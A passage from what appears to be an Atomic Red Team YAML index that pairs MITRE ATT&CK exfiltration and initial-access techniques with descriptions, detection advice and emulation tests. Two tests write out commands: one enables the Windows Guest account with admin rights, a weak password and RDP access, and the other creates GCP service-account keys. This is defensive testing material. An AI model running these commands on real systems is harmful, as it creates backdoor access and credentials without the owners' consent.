        server over the Internet.\n\nExamples of cloud storage services include Dropbox
        and Google Docs. Exfiltration to these cloud storage services can provide
        a significant amount of cover to the adversary if hosts within the network
        are already communicating with the service. "
      name: Exfiltration to Cloud Storage
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1567.002
        url: https://attack.mitre.org/techniques/T1567/002
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server) to known cloud
        storage services. Processes utilizing the network that do not normally have
        network communication or have never been seen before are suspicious. User
        behavior monitoring may help to detect abnormal patterns of activity.
      x_mitre_network_requirements: true
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1567.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1567.001
        url: https://attack.mitre.org/techniques/T1567/001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration to Code Repository
      description: "Adversaries may exfiltrate data to a code repository rather than
        over their primary command and control channel. Code repositories are often
        accessible via an API (ex: https://api.github.com). Access to these APIs are
        often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration
        to a code repository can also provide a significant amount of cover to the
        adversary if it is a popular service already used by hosts within the network. "
      id: attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T00:58:55.433Z'
      created: '2020-03-09T14:51:11.772Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_network_requirements: true
      x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server) to code repositories.
        Processes utilizing the network that do not normally have network communication
        or have never been seen before are suspicious. User behavior monitoring may
        help to detect abnormal patterns of activity.
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1029:
    technique:
      created: '2017-05-31T21:30:34.139Z'
      modified: '2020-03-28T00:26:48.769Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1029
        external_id: T1029
      description: |-
        Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

        When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).
      name: Scheduled Transfer
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_detection: Monitor process file access patterns and network behavior.
        Unrecognized processes or scripts that appear to be traversing file systems
        and sending network traffic may be suspicious. Network connections to the
        same destination that occur at the same time of day for multiple days are
        suspicious.
      x_mitre_network_requirements: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1020.001:
    technique:
      created: '2020-10-19T13:40:11.118Z'
      modified: '2020-10-22T02:24:54.640Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      type: attack-pattern
      id: attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1
      description: |-
        Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure.  Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)

        Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.
      name: Traffic Duplication
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1020.001
        url: https://attack.mitre.org/techniques/T1020/001
      - external_id: CAPEC-117
        source_name: capec
        url: https://capec.mitre.org/data/definitions/117.html
      - source_name: Cisco Traffic Mirroring
        url: https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html
        description: Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component
          Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October
          19, 2020.
      - source_name: Juniper Traffic Mirroring
        url: https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html
        description: Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200,
          EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved
          October 19, 2020.
      - source_name: US-CERT-TA18-106A
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      x_mitre_platforms:
      - Network
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_detection: 'Monitor network traffic for uncommon data flows (e.g. unusual
        network communications, suspicious communications that have never been seen
        before, communications sending fixed size data packets at regular intervals).  Analyze
        packet contents to detect communications that do not follow the expected protocol
        behavior for the port that is being used. '
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1537:
    technique:
      created: '2019-08-30T13:03:04.038Z'
      modified: '2021-03-08T10:33:01.280Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      type: attack-pattern
      id: attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6
      description: "Adversaries may exfiltrate data by transferring the data, including
        backups of cloud environments, to another cloud account they control on the
        same service to avoid typical file transfers/downloads and network-based exfiltration
        detection.\n\nA defender who is monitoring for large transfers to outside
        the cloud environment through normal file transfers or over command and control
        channels may not be watching for data transfers to another account within
        the same cloud provider. Such transfers may utilize existing cloud provider
        APIs and the internal address space of the cloud provider to blend into normal
        traffic or avoid data transfers over external network interfaces.\n\nIncidents
        have been observed where adversaries have created backups of cloud instances
        and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul
        2018) "
      name: Transfer Data to Cloud Account
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1537
        url: https://attack.mitre.org/techniques/T1537
      - source_name: DOJ GRU Indictment Jul 2018
        description: Mueller, R. (2018, July 13). Indictment - United States of America
          vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.
        url: https://www.justice.gov/file/1080281/download
      x_mitre_platforms:
      - IaaS
      x_mitre_contributors:
      - Praetorian
      x_mitre_network_requirements: true
      x_mitre_permissions_required:
      - User
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Snapshot: Snapshot Creation'
      - 'Snapshot: Snapshot Modification'
      - 'Cloud Storage: Cloud Storage Modification'
      - 'Cloud Storage: Cloud Storage Creation'
      x_mitre_detection: 'Monitor account activity for attempts to share data, snapshots,
        or backups with untrusted or unusual accounts on the same cloud service provider.
        Monitor for anomalous file transfer activity between accounts and to untrusted
        VPCs. '
      x_mitre_is_subtechnique: false
    atomic_tests: []
initial-access:
  T1078.004:
    technique:
      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
      description: |-
        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
      name: Cloud Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078.004
        url: https://attack.mitre.org/techniques/T1078/004
      - source_name: AWS Identity Federation
        url: https://aws.amazon.com/identity/federation/
        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
          2020.
      - source_name: Google Federating GC
        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
        description: Google. (n.d.). Federating Google Cloud with Active Directory.
          Retrieved March 13, 2020.
      - source_name: Microsoft Deploying AD Federation
        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
          in Azure. Retrieved March 13, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-03-16T12:45:15.399Z'
      created: '2020-03-13T20:36:57.378Z'
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
        or malicious behavior, such as accessing information outside of the normal
        function of the account or account usage at atypical hours.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      identifier: T1078.004
    atomic_tests:
    - name: Creating GCP Service Account and Service Account Key
      auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e
      description: 'GCP Service Accounts can be used to gain intial access as well
        as maintain persistence inside Google Cloud.

'
      supported_platforms:
      - google-workspace
      - windows
      - linux
      - macos
      input_arguments:
        project-id:
          description: ID of the project, you want to create service account as well
            as service account key for
          type: String
          default: art-project-1
        service-account-name:
          description: Name of the service account
          type: String
          default: gcp-art-service-account-1
        service-account-email:
          description: Email of the service account
          type: String
          default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com
        output-key-file:
          description: Email of the service account
          type: String
          default: gcp-art-service-account-1.json
      executor:
        name: gcloud
        elevation_required: false
        command: |
          gcloud auth login --no-launch-browser
          gcloud config set project #{project-id}
          gcloud iam service-accounts create #{service-account-name}
          gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
        cleanup_command: 'gcloud iam service-accounts delete #{service-account-email}
          --quiet

'
      dependency_executor_name: gcloud
      dependencies:
      - description: 'Requires gcloud

'
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

'
  T1195.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1195.003
        url: https://attack.mitre.org/techniques/T1195/003
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Compromise Hardware Supply Chain
      description: Adversaries may manipulate hardware components in products prior
        to receipt by a final consumer for the purpose of data or system compromise.
        By modifying hardware or firmware in the supply chain, adversaries can insert
        a backdoor into consumer networks that may be difficult to detect and give
        the adversary a high degree of control over the system. Hardware backdoors
        may be inserted into various devices, such as servers, workstations, network
        infrastructure, or peripherals.
      id: attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-03-23T12:51:45.475Z'
      created: '2020-03-11T14:28:40.064Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Perform physical inspection of hardware to look for potential
        tampering. Perform integrity checking on pre-OS boot mechanisms that can be
        manipulated for malicious purposes.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1195.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1195.001
        url: https://attack.mitre.org/techniques/T1195/001
      - source_name: Trendmicro NPM Compromise
        url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets
        description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package
          to Steal from Bitcoin Wallets. Retrieved April 10, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Compromise Software Dependencies and Development Tools
      description: "Adversaries may manipulate software dependencies and development
        tools prior to receipt by a final consumer for the purpose of data or system
        compromise. Applications often depend on external software to function properly.
        Popular open source projects that are used as dependencies in many applications
        may be targeted as a means to add malicious code to users of the dependency.
        (Citation: Trendmicro NPM Compromise)  \n\nTargeting may be specific to a
        desired victim set or may be distributed to a broad set of consumers but only
        move on to additional tactics on specific victims. "
      id: attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-03-11T14:13:42.916Z'
      created: '2020-03-11T14:13:42.916Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: 'Use verification of distributed binaries through hash checking
        or other integrity checking mechanisms. Scan downloads for malicious signatures
        and attempt to test software and updates prior to deployment while taking
        note of potential suspicious activity. '
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1195.002:
    technique:
      created: '2020-03-11T14:17:21.153Z'
      modified: '2020-03-11T14:17:21.153Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      type: attack-pattern
      id: attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00
      description: "Adversaries may manipulate application software prior to receipt
        by a final consumer for the purpose of data or system compromise. Supply chain
        compromise of software can take place in a number of ways, including manipulation
        of the application source code, manipulation of the update/distribution mechanism
        for that software, or replacing compiled releases with a modified version.\n\nTargeting
        may be specific to a desired victim set or may be distributed to a broad set
        of consumers but only move on to additional tactics on specific victims.(Citation:
        Avast CCleaner3 2018) (Citation: Command Five SK 2011)  "
      name: Compromise Software Supply Chain
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1195.002
        url: https://attack.mitre.org/techniques/T1195/002
      - url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
        description: Avast Threat Intelligence Team. (2018, March 8). New investigations
          into the CCleaner incident point to a possible third stage that had keylogger
          capacities. Retrieved March 15, 2018.
        source_name: Avast CCleaner3 2018
      - url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf
        description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced
          Persistent Threat. Retrieved April 6, 2018.
        source_name: Command Five SK 2011
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_detection: 'Use verification of distributed binaries through hash checking
        or other integrity checking mechanisms. Scan downloads for malicious signatures
        and attempt to test software and updates prior to deployment while taking
        note of potential suspicious activity. '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1078.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1078.001
        url: https://attack.mitre.org/techniques/T1078/001
      - external_id: CAPEC-70
        source_name: capec
        url: https://capec.mitre.org/data/definitions/70.html
      - source_name: Microsoft Local Accounts Feb 2019
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
          11, 2019.
      - source_name: AWS Root User
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
      - source_name: Threat Matrix for Kubernetes
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
      - source_name: Metasploit SSH Module
        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
        description: Metasploit. (n.d.). Retrieved April 12, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Default Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-05T20:14:26.846Z'
      created: '2020-03-13T20:15:31.974Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: Monitor whether default accounts have been activated or logged
        into. These audits should also include checks on any appliances and applications
        for default credentials or SSH keys, and if any are discovered, they should
        be updated immediately.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      identifier: T1078.001
    atomic_tests:
    - name: Enable Guest account with RDP capability and admin privileges
      auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0
      description: |
        After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
        and desktop will allow multiple RDP connections.
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: String
          default: guest
        guest_password:
          description: Specify the guest password
          type: String
          default: Password123!
        local_admin_group:
          description: Specify the admin localgroup name
          type: String
          default: Administrators
        remote_desktop_users_group_name:
          description: Specify the remote desktop users group name
          type: String
          default: Remote Desktop Users
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: Integer
          default: 0
      executor:
        command: |-
          net user #{guest_user} /active:yes
          net user #{guest_user} #{guest_password}
          net localgroup #{local_admin_group} #{guest_user} /add
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        cleanup_command: |-
          net user #{guest_user} /active:no >nul 2>&1
          net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
          if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
        name: command_prompt
        elevation_required: true
    - name: Activate Guest Account
      auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda
      description: 'The Adversaries can activate the default Guest user. The guest
        account is inactivated by default

'
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: String
          default: guest
      executor:
        command: 'net user #{guest_user} /active:yes

'
        cleanup_command: 'net user #{guest_user} /active:no

'
        name: command_prompt
        elevation_required: true
  T1078.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1078.002
        url: https://attack.mitre.org/techniques/T1078/002
      - external_id: CAPEC-560
        source_name: capec
        url: https://capec.mitre.org/data/definitions/560.html
      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        source_name: TechNet Credential Theft
      - source_name: Microsoft AD Accounts
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
          March 13, 2020.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-09-16T19:42:11.787Z'
      created: '2020-03-13T20:21:54.758Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1189:
    technique:
      id: attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Drive-by Compromise
      description: "Adversaries may gain access to a system through a user visiting
        a website over the normal course of browsing. With this technique, the user's
        web browser is typically targeted for exploitation, but adversaries may also
        use compromised websites for non-exploitation behavior such as acquiring [Application
        Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple
        ways of delivering exploit code to a browser exist, including:\n\n* A legitimate
        website is compromised where adversaries have injected some form of malicious
        code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads
        are paid for and served through legitimate ad providers.\n* Built-in web application
        interfaces are leveraged for the insertion of any other kind of object that
        can be used to display web content or contain a script that executes on the
        visiting client (e.g. forum posts, comments, and other user controllable web
        content).\n\nOften the website used by an adversary is one visited by a specific
        community, such as government, a particular industry, or region, where the
        goal is to compromise a specific user or set of users based on a shared interest.
        This kind of targeted attack is referred to a strategic web compromise or
        watering hole attack. There are several known examples of this occurring.(Citation:
        Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1.
        A user visits a website that is used to host the adversary controlled content.\n2.
        Scripts automatically execute, typically searching versions of the browser
        and plugins for a potentially vulnerable version. \n    * The user may be
        required to assist in this process by enabling scripting or active website
        components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable
        version, exploit code is delivered to the browser.\n4. If exploitation is
        successful, then it will give the adversary code execution on the user's system
        unless other protections are in place.\n    * In some cases a second visit
        to the website after the initial scan is required before exploit code is delivered.\n\nUnlike
        [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),
        the focus of this technique is to exploit software on a client endpoint upon
        visiting a website. This will commonly give an adversary access to systems
        on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries
        may also use compromised websites to deliver a user to a malicious application
        designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s,
        like OAuth tokens, to gain access to protected applications and information.
        These malicious applications have been delivered through popups on legitimate
        websites.(Citation: Volexity OceanLotus Nov 2017)"
      external_references:
      - source_name: mitre-attack
        external_id: T1189
        url: https://attack.mitre.org/techniques/T1189
      - url: http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/
        description: Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic
          Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved
          March 13, 2018.
        source_name: Shadowserver Strategic Web Compromise
      - source_name: Volexity OceanLotus Nov 2017
        description: 'Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms:
          Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the
          Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.'
        url: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-03-29T23:48:15.056Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_contributors:
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - SaaS
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.

        Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.

